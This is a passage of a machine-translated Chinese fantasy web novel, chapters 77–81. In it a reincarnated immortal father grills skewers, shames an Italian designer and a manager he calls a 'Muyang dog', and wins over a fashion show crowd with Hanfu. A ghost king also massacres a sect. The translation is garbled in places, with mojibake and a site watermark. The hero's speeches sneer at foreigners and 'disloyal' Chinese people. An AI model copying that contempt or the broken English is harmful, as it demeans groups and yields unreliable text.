    Xue An was silent for a while, then sighed slightly and said: "I said you don''t believe it, but you can rest assured that I have never done anything to sorry your sister."


    An Qing nodded, "You have to rely on your conscience to do or not, but I have decided. This time I come to Beijiang, I will not leave!"


    "Oh?"


    "I have to watch you here! Until my sister comes back!" An Qing said viciously.


    It��s just that she looks like a junior high school student, and her face is not lethal no matter how fierce her face is.


    Xue An smiled, "Okay!"


    At the same time, in a remote mountain.


    Under a black altar, dozens of elders bowed down.


    The leader, holding a skull cane in his hand, has two groups of ghost fires floating in his eyes, which is terrifying.


    "Xiao Qi is dead, his soul flies away, I have never suffered such humiliation before, so this time I decided to re-enter the world and avenge Qi''er!" the old man said angrily.


    He is the master of Wanguimen and Mu Qi''s father, Mu Qian!


    "Yes!" Everyone underneath suddenly agreed.


    "Sacrifice!" Mu Qian gave an order.


    Someone pushed several girls onto the altar, just as they were about to cut their throats to sacrifice.


    A cloud of black mist floated up from under the altar, and the whole cave was shaken.


    Mu Qian was overjoyed, "It''s the situation of the ghost world who is able to pity us, is it here to help us?"


    As he said, the leader knelt down, and his head was more than excited.


    At this time, a ghost king appeared in the cave through the altar, it was the one in the black water pool.


    Mu Qian was overjoyed when he saw that he was the King of Ghosts.


    "Lord Ghost King, it was you who came to the world. This time we had a major incident in the door of the Ten Thousand Ghosts. Someone killed my son directly and even his soul was wiped out. Please help Mr. Ghost King!"


    Ghost King looked at the crowd of Ten Thousand Ghosts who bowed down and said coldly: "Are you the master of Ten Thousand Ghosts?"


    Mu Qiankneeled and walked a few steps, "Master Ghost King, I am the master of the Ten Thousand Ghosts Gate! I usually offer sacrifices to you, I will host it!"


    Mu Qian said with a flattering smile.


    The ghost king nodded, and slapped it suddenly.


    A stray wind blew, and Mu Qian was slapped directly onto the cave wall by this slap.


    This scene stunned everyone in the cave.


    At this time, the ghost king said with an annoyed look: "You guys who do not have long eyes actually provoke Lord Immortal and almost killed me. Now you want me to avenge you? Hey, it seems that you haven''t stayed. It''s necessary for the world!"


    As he said, the ghost king stretched out his hand, and all the evil ghosts came out.


    The whole cave screamed again and again, and it became a Shura field.


    After a while, everyone has been killed, and blood shed all over the ground.


    Ghost King snorted coldly and stamped his foot, and countless light spots floated on these corpses.


    Muqian''s light spot is the strongest.


    Muqian''s soul floated to and around the ghost king, still crying.


    "Lord Ghost King, why do you want to start with us? Ten thousand ghosts? We must know that our ten thousand ghosts usually sacrifice to the ghost world!"


    "Shut up!" Ghost King yelled angrily.


    "Sacrifice this kind of thing is your voluntary! And you provoke someone who shouldn''t provoke me, so you can''t blame me, let''s go, follow me to the ghost world The world can no longer tolerate you Up!"


    said, grabbing these light spots, and regardless of their screams, he returned directly to the ghost world.


    As soon as they enter the ghost world, these souls will become ghost slaves with a miserable end.


    As for this altar, after the ghost king left, it fell apart and became a waste.


    At this point, Wanguimen, this once-strong sect, completely disappeared.


    M Country Chinatown.


    That day and Yu Ling sat in a chair silently to the old man who was drinking tea.


    After a long time, he said to the person beside him: "Have you found out the details?"


    Someone next to him said, "Going back to the old man, I only found out that this person seems to have something to do with Zhongdu Anjia. Otherwise, he is an ordinary person!"


    "Settle down?" The old man muttered to himself, his expression gradually becoming serious.


    He is Han Jun, the altar master of Tang Sect in M ??country.


    In country M, Tangmen is a large Chinese community.


    and Yu Ling met because Yu Ling was also a member of the Tang Sect.


    Only later, Yu Ling left Tang Sect in order to concentrate on martial arts.


    Unexpectedly, after coming out of the mountain thirty years later, he would actually die in Huaxia, and he would be killed by an unknown young man.


    The ���� Budo Contest is strictly forbidden to video, so he only saw some sporadic secret photos.


    But through the dictation of witnesses, we can also know that Xue An is not an ordinary person.


    I am in country M, so it is impossible to avenge my friends.


    Isn''t it... forget it?


    Han Jun was silent for a moment, and then said, "Send someone to Lingnan!"


    "Tell the Yu family in Lingnan that the person who killed the children of their Yu family was the Xue An who emerged in the martial arts conference!"


    "Yes!"

 Chapter 77： Maka

    The warm spring breeze is blowing, and there is a restless spring in the air.


    On this spring evening, in front of Tianzi No. 1 Villa, a family barbecue is going on.


    The brand new barbecue grills are lined up with various skewers arranged on top.


    Xue An stood in front of the grill, sprinkling various condiments on it from time to time, moving like clouds and flowing water, very smooth and natural.


    A strong barbecue aroma gradually began to spread.


    Not far away, Xue Xiang and Xue Nian, and a very ugly Beijing bus, all squatted on the ground, drooling and waiting quietly.


    An Qing and Tang Xuan''er were beside them helping cut meat and thread skewers.


    An Qing didn''t want to do these things, but she couldn''t resist the charm of barbecue. Xue An said that she was not qualified to eat if she didn''t work.


    In desperation, the second lady of Anjia had no choice but to bite the bullet and start slapping.


    From time to time, she would take a peek at the grilled yellow skewers on the grill rack, exuding charming aroma.


    It''s not that she has never eaten barbecue. When she was in Zhongdu, if she wanted to, then within ten minutes, the world''s top barbecue master would offer her skewers made with the top ingredients.


    But those so-called delicacies are all overshadowed in front of Xue An��s barbecue.


    When eating for the first time, An Qing was stunned.


    She never thought that there could be such a delicious barbecue in the world.


    So she couldn''t understand why Xue An just used some very common ingredients to make such a delicious barbecue?


    She once asked Xue An, at that time Xue An only said faintly: "That''s because...their barbecue has no soul!"


    This answer made An Qing look confused.


    What is soulless?


    Do you have to pay attention to the soul after a barbecue?


    Actually, when Xue An was grilling, all the fire he used was inspired by the true essence.


    There is only one in the world, there is no other.


    The bottom carbon is made of a variety of rare wood materials. If someone who knows how to see it, it is estimated that it will be a painful cry.


    The most important thing is that these meats were shaken by Xue An''s internal force during the barbecue.


    This will add more flavor when grilling.


    Can anyone meet such conditions?


    The first skewers were baked, and Xue An first gave it to his two daughters with a face of dozing.


    The little cheeks that Xue Xiang and Xue Nian eat are all with oil stains.


    Jingba looked eagerly, hoping to eat some minced meat that fell off.


    Xue An sighed, and some people who hated iron and steel said: "You are also a dragon anyway, look at you for such a good job!"


    That''s right, this ugly Beijing Ba is transformed by the five-clawed golden dragon.


    The scene of the dragon in the Yunmeng Lake within a few days has turned into this Jingba.


    And still very unambitious to follow Xue Xiang and Xue Nian behind, just to get some good food.


    "Baba, Xiaosha is very cute, don''t say that!" Xue wanted to say, and threw the leftover bamboo sticks to him.


    Xiaosha immediately caught it, and then began to greedily lick the remaining minced meat on the bamboo skewers, and hummed with incomparable enjoyment.


    At this moment, the golden dragon''s heart is shouting, roaring!


    Five hundred years!


    Five hundred years!


    Lao Tzu spent five hundred years in the mountains, living on fish all day, and only today did I know that there is such a delicious thing in the world.


    In order to be able to eat skewers, I have to be a loyal pet of my little owner in the future.


    As expected.


    Xue wanted to clap his hands at this time.


    "Xiao Sha, perform a handstand for Baba to see!"


    With a bamboo stick in his mouth, Xiao Sha raised his hind legs without hesitation, and walked around Xue Xiang and Xue Nian with his front legs.


    amused the two little girls giggling.


    Xue An couldn''t help crying and laughing.


    what is this? Are you betraying the dragon for a skewers?


    At this time, Qin Yu came.


    When she got out of the car, she couldn''t help but shine when she smelled the strong fragrance.


    "smell good!"


    Then smiled at Xue An who was grilling, "Mr. Xue, do you still have this kind of craft?"


    Xue An smiled slightly, and passed a string of grilled chicken wings, "try it?"


    Qin Yu hesitated a little, but still took it. As soon as she entered, her eyes widened.


    "How does it taste?"


    Qin Yu gobbled up all the remaining chicken wings, then sighed and smiled bitterly: "I guess I won''t be able to eat other barbecues in the future."


    At this time, An Qing was a little dissatisfied, "Why can she eat skewers without having to work?"


    "No more nonsense, be careful not to let you eat the rest!" Xue An said lightly.


    Anqing closed her mouth.


    I hate in my heart, you waited for my sister to come back!


    Qin Yu smiled at this time, and then joined in and started washing vegetables and cutting meat.


    If anyone else sees this scene, I guess they can stare out.


    The dignified young director of the Longtai Group, the eldest daughter of the Qin family, actually did the job here.


    When it was almost cooked, the table was set, and a few people were sitting around, eating skewers and drinking beer.


    "Mr. Xue, tomorrow our Longtai Group will open in the new square in the city, there will be fashion shows and various activities, you can take your daughter over to see!"


    An Qing''s eyes lit up.


    Fashion show!


    Doesn��t that mean there will be many beautiful clothes?


    Women always like to go shopping.


    So without waiting for Xue An to speak, she said, "Okay, okay! I miss you, I will take you out to play tomorrow!"


    "Hmm!" The two little girls were full of meat, and they responded vaguely and continued to eat.


    "Oh, this Beijing bus... looks so unique!" Qin Yu couldn''t help but be surprised when he saw Xiaosha.


    Xiaosha glanced at Qin Yu, too lazy to pay attention to her, and continued to bury her head in the pile of bamboo sticks, eating very much.


    Qin Yu put the skewers in his hand on the ground, "Come on, eat this!"


    Xiaosha hesitated for a moment. In the face of dignity and deliciousness, UU Reading thought for a second, and then made a resolute decision.


    wagging his tail, walked up to him, and started to eat.


    Qin Yu touched Xiaosha''s head a little funny, "The little things are so chic!"


    An Qing and others who knew Xiao Sha''s origin couldn''t help sweating.


    Can this thing be described as chic?


    I didn''t expect Xiao Sha to let Qin Yu touch him willingly, without any anger at all.


    Xue An really couldn''t help it.


    He even had some doubts, whether what he saved was a five-clawed golden dragon, or a foodie Beijing Ba who only knew how to eat?


    "What''s its name?"


    "...Well, Aunt Qin, we call it Xiaosha!" Xue Xiang said.


    "Xiao Sha!" Qin Yu looked at this ugly Beijing Ba, and then nodded, "It''s pretty vivid."


    After eating the skewers, Xiaosha raised his head and looked at Qin Yu with watery eyes.


    "How?"


    "Aunt Qin, it''s for you to eat! Haven''t you heard of it, a pug sitting at the gate with dark eyes and wanting to eat fleshy bones!" Xue Nian grinned.


    Qin Yu suddenly took another skewers, "Come on, bow!"


    A flash of anger flashed in Xiao Sha''s eyes.


    I am the supreme five-clawed golden dragon among spirit beasts!


    This woman...somewhat too presumptuous!


    "What? Don''t you want to eat it?" Qin Yu shook the skewers in his hand.


    Then Xiao Sha stood up and bowed in the stunned eyes of everyone.


    Qin Yu threw the skewers to it with satisfaction.


    Xiao Sha stuck in his mouth, glanced at Qin Yu indifferently, turned and left.


    Hmm... The skewers made by adults are so delicious!

 Chapter 78： Muyang

    Longtai Plaza.


    This is a brand new commercial plaza established by Longtai Group in the center of Beijiang.


    It is a large-scale shopping and entertainment plaza with the most complete commercial form and the most high-end grade.


    Today is the day it opened.


    In the morning, it was very lively, and reporters from all walks of life came to interview.


    Many citizens also came early.


    Because Longtai Plaza will have a fashion show today.


    I heard that there are also foreign supermodels and top designers from Italy.


    This is the first time for Beijiang.


    When Xue An arrived at the gate of the square, a large number of people gathered at the gate, with small flags in his hands, as if waiting for someone.


    Xue An led the two little girls out of the car, An Qing and Tang Xuan''er accompanied them, just about to enter.


    I heard someone cheering from behind, "Come here!"


    The crowd was crowded, and Xue Xiang and Xue Nian were almost pushed to the ground.


    Xue An frowned, stretched out his hand to copy the two daughters in his arms, and then, like a rock still in the torrent, pushed these oncoming people aside.


    "What''s the matter with you? Master Barber is coming right away, what''s your way?" A man with dyed yellow hair angered while wearing a pair of pants that mopped the floor.


    Xue An frowned, "You mean me?"


    "Of course I''m talking about you! Master Barber is right, you Chinese people are not good at quality!" The man looked at Xue An''s "earthly" dress, and he couldn''t help saying a little proudly.


    "You... Chinese people?" Xue An repeated, and then smiled faintly, "Then dare to ask who you are?"


    "Me? Of course I am different from you, but Master Barber said that if my costume design can win praise on this catwalk, he will take me to immigrate!" The man looked excited.


    Xue An''s complexion darkened.


    Keep talking about Master Barber and slander his countrymen.


    There seems to be no need for such a person to exist in this world.


    But at this moment, an Italian with a carefully tailored little black beard and a well-designed suit walked over.


    "Master Barber! You are here!" The man was very excited and said in fluent Italian.


    Barber nodded arrogantly, but turned his gaze to An Qing who was standing next to Xue An, with a flash of surprise in his eyes.


    "This beautiful lady, your dress is really what has surprised me the most since I entered China in the past few days."


    Anqing wore a piece of clothing that seemed to her to be very ordinary today, but because all of them were brought from it, any one was made privately, which was very valuable.


    That''s why this Barber sighed.


    "Master Barber is right, these Chinese people only wear dirty and sloppy clothes all day long, which is really disgusting!" The man said flatly.


    His face made An Qing a little disgusted, and deliberately asked: "Oh, what is the name of this big designer?"


    "My English name is Kaman, as for my Chinese name...not to mention it!" said Kaman.


    At this time, Barber could no longer hold back, completely ignoring Xue An on the side, and directly approached, trying to give An Qing a kiss.


    In the past few days after he entered China, this trick was almost unprofitable.


    Because many Chinese women are curious about him, a foreigner, and even take the initiative to talk.


    But the girls are not as pretty as the girl in front of them.


    There is even an aristocratic aura in her that can only be felt in European royal nobles.


    But he made the wrong idea.


    Anqing saw many such so-called foreign friends who leaned on a foreigner''s skin and wanted to pick up girls when she was in Zhongdu, so she just stepped back without moving.


    "Sorry, we, Huaxia, don''t like this one!"


    A look of disappointment flashed across Barber��s face, and then he defended: "This is a good thing for us. It is a normal etiquette. This beautiful lady, you may have misunderstood!"


    Kaman also continued: "Yes, the Huaxia people are really too conservative and feudal..."


    I didn��t finish the words behind, because Xue Xiang, who was held by Xue An, said at this time: ��Baba, this man��s pants are so strange!��


    Xue An nodded and said indifferently: "For these people who don''t even need a face, it doesn''t matter if the pants are off."


    These words made this Kaman''s face suddenly extremely ugly.


    Barber also frowned. He looked at Xue An and found that he was just a thin Chinese man, a little proud.


    "It turns out that the quality of Chinese people is like this..."


    "What? If you don''t want to see it, you can get back to your idiots." Xue An said blankly.


    Barber was startled. This was the first time anyone dared to speak to him like this in the past few days when he came to China.


    "I don''t care about you Barber or Kaman, since you are on the land of China, you must abide by China''s rules, otherwise... just get out of here! Get out of the word, do you understand?" Xue An said coldly.


    Barber''s expression became more and more difficult to look.


    At this time, a group of people greeted her, and the one rushing to the front was a woman in her twenties, wearing a professional suit, coming to and behind Barber with a smile of admiration and respect.


    "Master Barber, you are finally here! The fashion show is about to begin!"


    Barber''s face was pale at this time, "Sorry, I think I have to reconsider working with you!"


    The woman was taken aback, and then anxiously said: "Master Barber, what''s wrong? Why did you suddenly change your mind?"


    Barber pointed at Xue An and said coldly: "The people here are too unfriendly, and UU reading www.uuk��nshu.com is too low quality! I want to protest, I want to complain!"


    The woman looked at Xue An, and then she looked annoyed, "Who are you! Do you know how much this matter does to our Longtai Plaza? Quickly apologize to Master Barber!"


    "Apologize? Why should I apologize?" Xue An said playfully.


    The woman said angrily: "It''s because you insulted foreign friends and delayed our business. Hurry up and apologize! Otherwise, I will blow you out now!"


    Xue An laughed back and suddenly asked: "What is your name?"


    "My name is Dai Yue, and I am the manager of Longtai Group who is in charge of market operations!" Dai Yue said proudly.


    She can tell at a glance that this Xue An is casually dressed and not an important person.


    But Master Barber was invited by himself with a lot of money. If something goes wrong, how can I fix it?


    Xue An nodded, "It turned out to be Dai Yue, I thought... your name is Muyang Dog!"


    Dai Yue didn''t understand this at first, and after waiting for a moment to know what it meant, she couldn''t help shaking all over.


    Barber and the Kaman held their shoulders and watched the joke at this time.


    Barber was sure that these Chinese people would eventually succumb, so he didn''t worry, he just asked Kaman on the side.


    "What does this shepherd dog mean?"


    The expression on Kaman''s face froze, "Uh... just to scold this woman for being unscrupulous!"


    "Oh!" Barber nodded when he remembered that Dai Yue knocked on his hotel door last night.


    Dai Yue gritted his teeth and said: "Go call the security guard, you must give Master Barber an explanation for this matter!"


    "No need!" Xue An said lightly, and then took out the card that hadn''t been used for a long time from his arms.


    "You are now fired!"

 Chapter 79： In terms of fashion, Huaxia people are your ancestors!

    "I was fired? What are you kidding? Security guard, blast these people out!" This Dai Yue mocked.


    "Look at this!" Xue An threw the card over.


    Dai Yue picked it up disapprovingly, not caring at all, thinking that Xue An was just playing mystery.


    After taking a look, he was stunned.


    Because of this card... it seems to be the supreme card that everyone in the Longtai Group must remember when they join the company.


    The person who owns this card is the most distinguished guest of Longtai Group.


    Don''t talk about dismissing a small operation manager like yourself, just let this Longtai Plaza be closed now, and only greet him alone, it is all right!


    Dai Yue''s complexion suddenly became extremely pale, and her whole body was shaking.


    Xue An said lightly: "Did you see it clearly? Would you like to make a call to check?"


    Daiyue did not dare to speak.


    Because she knows that this is absolutely true.


    How could this man have the supreme VIP card of Longtai Group?


    Who is he?


    Dai Yue was a little desperate.


    Xue An said lightly: "Since there is no doubt, now I ask you to immediately...get off!"


    At the end, Xue An''s tone became a little harder.


    Although it sounds the same to others, I can hear Dai Yue''s ears, but it seems that there is a thunder.


    shocked her whole body to tremble, almost urinated.


    And the people who followed Dai Yue were silent, afraid to lift their heads.


    At this time, Dai Yue suddenly shouted: "You fired me, then I see what you do with today''s fashion show!"


    Speaking, Dai Yue looked at Barber and said with admiration: "Master Barber, you see, these people are simply too rude and unqualified. Why should we cooperate with such people?"


    Barber''s expression was also very gloomy. He didn''t expect this man to have such a right, and he let a manager leave with his gesture.


    But this woman is right.


    I am terminating the cooperation now, let''s see how you open the fashion show!


    Kaman also contributed to the flames: "The quality of Huaxia people is poor, and there is no spirit of contract. Master Barber, I think they will have to apologize to you soon!"


    Barber looked proud.


    But at this time Xue An smiled openly, "Who said that without you, this fashion show can''t go on?"


    Barber was taken aback. Could this man also invite other designers?


    no, I can not!


    Then why does he say that?


    Dai Yue also hesitated a bit, but she soon mocked her face and said: "The pretence is quite calm. I think the opening ceremony will be held for a while, what do you do!"


    Xue An took a deep look at her, then lowered his head and said to Xue Xiang and Xue Nian: "For a while, will you play a game with Baba?"


    "Okay!" the two little girls said in unison.


    Xue An came to the fashion district with his two daughters.


    Daiyue and Barber looked at each other, and then followed.


    They want to see what medicine Xue An sells in the gourd.


    At this time, the fashion show will start in twenty minutes.


    The person in charge here is anxiously turning around.


    After seeing Xue An coming, he was taken aback, "You..."


    Xue An didn''t talk nonsense, took out the card, "Now I will take over here!"


    "Yes..." The following words swallowed back, because he also recognized this supreme VIP card.


    "There are still twenty minutes, even if God comes, he can''t be saved!" Barber sneered.


    Xue An looked indifferent, looked at the dazzling array of clothes, and then selected a dozen of them at an extremely fast speed.


    After putting it on the design table, he picked up the scissors next to him, clicked, and started cutting.


    Everyone''s eyes widened.


    Is this going to change the design on the fly?


    ��!


    It will start in ten minutes!


    How can it be too late?


    Even An Qing thought Xue An was joking.


    Barber, Kaman, and Dai Yue even sneered.


    Xue An cut very quickly, within a minute, he finished cutting these clothes, and then began to stitch together.


    are all the top tailors waiting next to him. Xue An gave it to them after he was done. These people also thought that Xue An was messing around, but they were all sewn as fast as possible.


    Xue An picked up two pieces and said to Xue Xiang and Xue Nian: "This is yours!"


    Then he gave the rest to Tang Xuan''er and An Qing, "These are yours!"


    Anqing widened her eyes, "We still have to go up?"


    "Yes! I designed it according to you!" Xue An said lightly.


    An Qing and Tang Xuan''er also knew that the matter was urgent, so they stopped talking nonsense and led Xue Xiang and Xue Nian into the locker room.


    At this moment, less than five minutes before the opening.


    Barber sneered at this time: "It''s really funny. I have studied design in Europe for more than ten years, and some people want to design a new set of clothes in ten minutes!"


    Xue An glanced at him lightly. Then he smiled slightly, "I''m sorry, when it comes to wearing clothes, the Chinese are your ancestors!"


    These words made Barber''s complexion green, but he couldn''t say anything to refute.


    Because what Xue An said is true.


    When Chinese people have put on delicate silk, Europeans are still wearing heavy fur or coarse linen.


    Today''s fashion show attracted a lot of media.


    There are also fashionistas from all over the country.


    At this moment, they are all waiting quietly under the T stage.


    In the distance are ordinary people.


    These people are whispering at the moment.


    "Hey, what do I mean by this fashion show? It''s nothing more than the mess of Europe."


    "That''s Once I saw a model wearing a plastic bag and came out! What the hell!"


    "Well, thinking about our Chinese civilization for thousands of years, is it now that the Gentiles teach us how to wear clothes?" Some people couldn''t help sighing.


    at last!


    With a burst of guqin music sounded.


    The audience was quiet.


    used to start with various English songs, what happened today? Some people are a little surprised.


    But the sound of classical instruments is really beautiful, which makes people feel refreshed.


    The light shone on the exit of the T station.


    Everyone held their breath, ready to see who the first model will be!


    Then I saw two little girls in classical Chinese clothes walking out holding hands.


    The two little girls look exactly the same, with shining stars in their eyes and picturesque eyebrows.


    , coupled with this classical Hanfu, looks like a little princess walking out of the painting.


    There was an uproar under ����.


    Many media outlets are also shocked.


    Didn��t you say that the designer this time is European?


    How can Hanfu appear?


    However, these media responded extremely quickly and immediately began to take photos wildly.


    This is the best material!


    The crackling flashes made the two little girls seem a little scared.


    But the two little girls still lowered their heads slightly, insisting on finishing the whole journey.


    After they walked back, there was a round of applause from the audience, which was weak at first, but soon it was like a mountain whistling a tsunami.


    The people in the distance yelled out loudly.


    "Pretty! These two little girls are so painful!"


    "God, if I can have such a pair of daughters, I would be so happy!"

 Chapter 80： Han clothes

    is the beginning of these two aura girls, what will happen next?


    Everyone can''t help but look at the exit with anticipation.


    A slender jade hand lifted the curtain first, and everyone couldn''t help but watch intently.


    Then a woman with a dignified and majestic expression in a Hanfu skirt came out slowly.


    This appearance can be described as stunning.


    Many photojournalists are already crazy, and the flash never stops at the beginning.


    The first person to appear was An Qing. Because she was relatively short, Xue An changed her wide undergarment to a smaller size, so that she looked delicate and delicate after wearing it.


    More importantly, An Qing was used to seeing all kinds of big scenes, so she walked the runway without stage fright, with a dignified manner and without squinting.


    "What a beautiful lady!" Someone sighed, and many people nodded.


    At this time, the music of the Guqin gradually reached its climax, and a woman in a black and red fairy skirt walked slowly onto the runway.


    Tang Xuan''er is a little plump compared to An Qing, so Xue An chose a black and red color scheme for her, and a fairy dress comes with fairy air.


    At this moment, Tang Xuan''er found that so many people in the audience were looking directly at her, she couldn''t help feeling a little scared.


    Xue An saw Tang Xuan''er''s hesitation on the stage at this time, his eyes narrowed slightly, and a divine thought passed.


    He passed the picture of how the fairies in the fairy world walked.


    Tang Xuan''er felt a change before her eyes, as if she had come to the nine heavens, and everyone around her turned into a beautiful goddess.


    These days, the dignity of women''s gestures makes people feel broken at first sight.


    Tang Xuan''er''s heart gradually calmed down, and she involuntarily began to imitate the gestures of these goddesses.


    So in the eyes of outsiders, the woman was a little flustered when she first appeared on the stage, but she quickly calmed down, and then Lianbu moved lightly, like a weak Liu Fufeng, her posture is simply beautiful.


    The cameramen under the stage were all dumbfounded, and they even forgot to move the camera. They didn''t wake up until they were slapped by the person next to them, and then they hurriedly pointed the camera at the woman who was like a goddess.


    At this moment, the background music gradually agitated, pushing the atmosphere to a climax.


    Many people watching from a distance couldn''t help clenching their fists.


    Because the women on the stage wear, but the orthodox Han clothes!


    So...the Han family clothes are so beautiful!


    , especially after wearing a Chinese woman, fully expresses the gentle and atmospheric manners.


    Barber, Kaman, Dai Yue and others, standing not far away, were dumbfounded.


    Especially Barber, as a senior fashion designer, he can naturally see the magic of these clothes.


    It is necessary to know that everyone''s body posture is different, which requires designers to show the beauty of the model as much as possible.


    This is difficult!


    But Xue An did this in just a few minutes.


    How did he do it? Barber felt that the worldview he had formed over the years was completely overturned.


    Actually, he didn''t even know, it was just a piece of cake for Xue An.


    , after all, was once the **** of immortality. He has experienced too many big scenes and seen too many beautiful scenery.


    Therefore, his grasp and control of beauty is unmatched.


    A dress design in a mere mere guts of him can''t be bothered.


    And this is just the beginning.


    In the next ten minutes, a feast of the beauty of Hanfu calmed everyone.


    These so-called fashionistas in the audience all looked at them dumbfounded.


    They once admired Western culture and believed that their country had no fashion.


    But this time, he was brutally swollen by the facts.


    It turns out that the Hanfu left by the ancestors is not that they are not beautiful, but that their grades are too low to match.


    And Barber can''t even speak.


    Xue An is right. When it comes to wearing clothes, Chinese people are indeed the ancestors of Westerners.


    But this is not over yet.


    One song gradually stops.


    The lights on the T stage also dimmed.


    Is it over?


    Many people looked at each other, still a little reluctant in their hearts.


    But in this darkness, a magnificent music suddenly sounded.


    Many people were caught off guard, and they couldn''t help but shocked all over.


    From the mouth of the station, Xue An wore a Han Dynasty mian gown with black upper and red underneath, with a three-foot Han sword hanging from his waist, walking slowly out.


    The twelve chapters are embroidered on the Mianfu of the Han Dynasty, which is majestic and majestic.


    Han sword has eight sides and is about three feet long, which makes people afraid to look directly.


    And Xue An''s expression is indifferent, with only eyes, like a bottomless pool, deep and deep, which is daunting.


    There was silence on and off the stage.


    Many reporters even forgot to take photos. They didn''t react until Xue An walked to the front of the stage and quickly raised the camera.


    Hanfu is very suitable for women to wear, and it is easy to wear beauty.


    is a disadvantage for men. If you don''t pay attention to it, you will easily appear very trivial.


    But Xue An just went to that stop simply, and he was really like an emperor, with amazing aura.


    The eyes of some women looking at Xue An gradually became hot.


    This man... so handsome!


    At this time, Xue Xiang and Xue Nian, as well as Tang Xuan''er An Qing and others were on stage respectively.


    Xue An held his two daughters with one hand, and walked slowly across the runway.


    This scene brought the atmosphere to its climax.


    Many Chinese people watched, tears filled their eyes.


    Is this the charm of Hanfu?


    It turns out that we are no worse than any country!


    At this moment, Xue An stood in the middle of the runway, looking at the people under the stage, and said lightly: "Maybe you are all wondering why a fashion show that was originally a European and American designer would become what it is now."


    was not loud, but it spread to every corner of the audience.


    Everyone can''t help holding their breath listening quietly.


    This man''s voice has a magical power that people dare not despise.


    "That''s because, when I came, I happened to meet this designer and several... Muyang dogs following him!"


    Xue An''s words caused a low laugh, and obviously everyone understood what it meant.


    Xue An went on to say: "I was born as a Chinese, but I kept saying what you Chinese, and even shamelessly licked those foreigners. What kind of people are not Muyang dogs?"


    "These so-called designers, each year by modifying a button to mess around, they are also known as fashionistas, but in my opinion..." Xue An''s eyes scanned the audience.


    "When it comes to luxury and fashion, Huaxia people are not talking about anything else, but countries all over the world...all rubbish!"


    ''S words caused many people to applaud uncontrollably.


    Xue An smiled faintly, "So I hope that there will be Muyang dogs in the future, and remember not to say that you are Chinese because you are...not worthy!"


    "Good!" Many people can''t help but applaud.


    But a few reporters couldn''t help but ask: "Excuse me, sir, are you the designer of this fashion show?"


    Xue An nodded.


    There was an uproar under the stage.


    Although there are speculations, but I did not expect this man to be the designer this time.


    Barber''s face was blue, but there was a kind of fear in his eyes.


    His instinct told him, this man, he can''t afford it!


    And Xue An looked at Barber and the others at this moment, a smile appeared on the corner of his mouth.


    Just seeing this smile, Kaman, Dai Yue and others fell into an ice cellar.


    because they know.


    I''m done!


    completely finished!

 Chapter 81： Your majesty and full-time dad

    The fashion show is over.


    Xue An and others also stepped down.


    The audience and onlookers were reluctant to leave for a long time.


    As for the reporters, they are going crazy at the moment.


    originally thought it was just an ordinary fashion show, but did not expect such a big news to appear.


    Not to mention anything else, just relying on the 360-degree beautiful photos of these "models" without dead ends are enough to make waves on the Internet.


    More importantly, who is the man who appeared last?


    Also, isn''t this fashion show a European designer?


    How could such a scene suddenly appear?


    These questions made these reporters scratch their heads, wishing to rush in to interview now.


    But their hopes were obviously lost.


    Because Xue An is in the high-rise office of Longtai Plaza at the moment.


    Qin Yu was also there. She hurried over after hearing the news and saw the last scene of the fashion show.


    She is not a person who can be easily moved, but tears filled her eyes with Xue An''s words.


    Yes!


    Some people just eat too much.


    So as soon as she came, she swiftly expelled Dai Yue and her subordinates.


    As for Kaman, this so-called designer has just been ordered to be banned.


    In other words, he may never have the opportunity to bluff and trick again.


    Only Barber is more difficult.


    But Qin Yu quickly issued an order to stop all cooperation and immediately let him get out of China.


    Barber walked away dingy.


    Everything is settled.


    Qin Yu said apologetically, "Mr. Xue, I didn''t expect to invite you over to play, but something like this happened."


    Xue An smiled slightly, "It''s okay, it''s all about the effort."


    Qin Yu secretly said, your effort, but it has caused an uproar.


    Qin Yu has just received the news, and now the clothing area is crazy.


    Those who had watched the fashion show did not leave, all were ready to buy a few pieces of Hanfu.


    The team has even queued outside the gate of the mall.


    And this incident is spreading on the Internet at a terrifying speed.


    These reporters were unable to find Xue An to interview, but they had their own way. They quickly asked the employees of Longtai Plaza a lot of useful information.


    Particularly some employees who witnessed the passing, even recounted the experience.


    These reporters were so excited to hear that they thought this fashion show had come right.


    This is big news that is enough to make a sensation.


    So in the writing of these reporters.


    This incident quickly began to spread on the Internet.


    As for public opinion, it began to ferment at a terrifying speed.


    But unlike the previous tears, the netizens are surprisingly united this time, and almost everyone is on Xue An''s side.


    Except for a few innocent words that hurt foreign friendship.


    The rest are all likes.


    Especially when this time the photos and videos were distributed online.


    The crowds who were onlookers with the mentality of eating melons couldn''t help being fascinated.


    "Gosh, I like these two little girls, they are so cute!" This is a big fan of Xue Xiang and Xue Nian.


    "For the princess, we are willing to give everything!" This is An Qing''s fan.


    "All praise is meaningless in front of you!" This is a fan of Tang Xuan''er.


    Then these fans began to habitually tear up and fight each other!


    For example, for who is beautiful, fans of An Qing and Tang Xuan''er have been fighting over hundreds of pages of posts.


    But these fans are surprisingly consistent on one issue.


    That is, under the photo of Xue An wearing the Hanshi Mianfu, there is almost all a comment.


    "See Your Majesty!"


    Yes, Xue An is online at the moment. Called your majesty by countless people.


    However, the most profitable is the Hanfu, which is originally a minority.


    After this round of exposure, many people discovered for the first time that their country has national costumes, and it is so beautiful!


    So sales surged suddenly.


    More importantly, Longtai Plaza can be said to lie down and make money in this incident.


    Many people travel thousands of miles to come here to buy Hanfu!


    And the name and surname should be the same!


    And the origin of all this comes from Xue An.


    But even if Xue An knew, he just laughed.


    Because he still has a lot of important things to do.


    such as...


    was shopping with my two daughters.


    Women, regardless of age, like to go shopping.


    And even if a man is Xianzun, he hates shopping.


    But if the person accompanying her is her own daughter, it''s another matter.


    Xue An now follows the two little girls willingly and becomes a full-time dad.


    The curiosity of a little girl is always very heavy, and I have to look at it here and there.


    Xue An followed behind his ass, and said from time to time: "Do you like it?"


    As long as he nodded, Xue An would step forward and check out.


    This kind of pampering makes An Qing and Tang Xuan''er who follow behind are a little shocking.


    But Xue An felt that this was not enough.


    I haven''t been with two little girls in four years.


    Now it''s so easy to have a chance, Xue An can''t wait to pick all the moon off for his daughter.


    Own daughter, who do you not favor?


    On this day, a group of people came over to eat, drink and have fun.


    After the evening, the two energetic little girls finally got a little tired.


    Xue An simply took one hand and held it in his armsWhat do you want to eat? "


    "Grilled skewers!" Xue Nian said.


    "I want to eat teriyaki again!" Xue Xiang said.


    Xue An smiled, "Well, then let''s go back and have braised and grilled skewers!"


    "Oh! Long live Baba!" The two little girls cheered.


    Xue An looked at the smiles of his two daughters with warmth in his heart.


    wife!


    You wait, when I take you back openly, we will definitely be the world.


    Do not!


    The happiest family in the universe.


    This is a private club in the provincial capital.


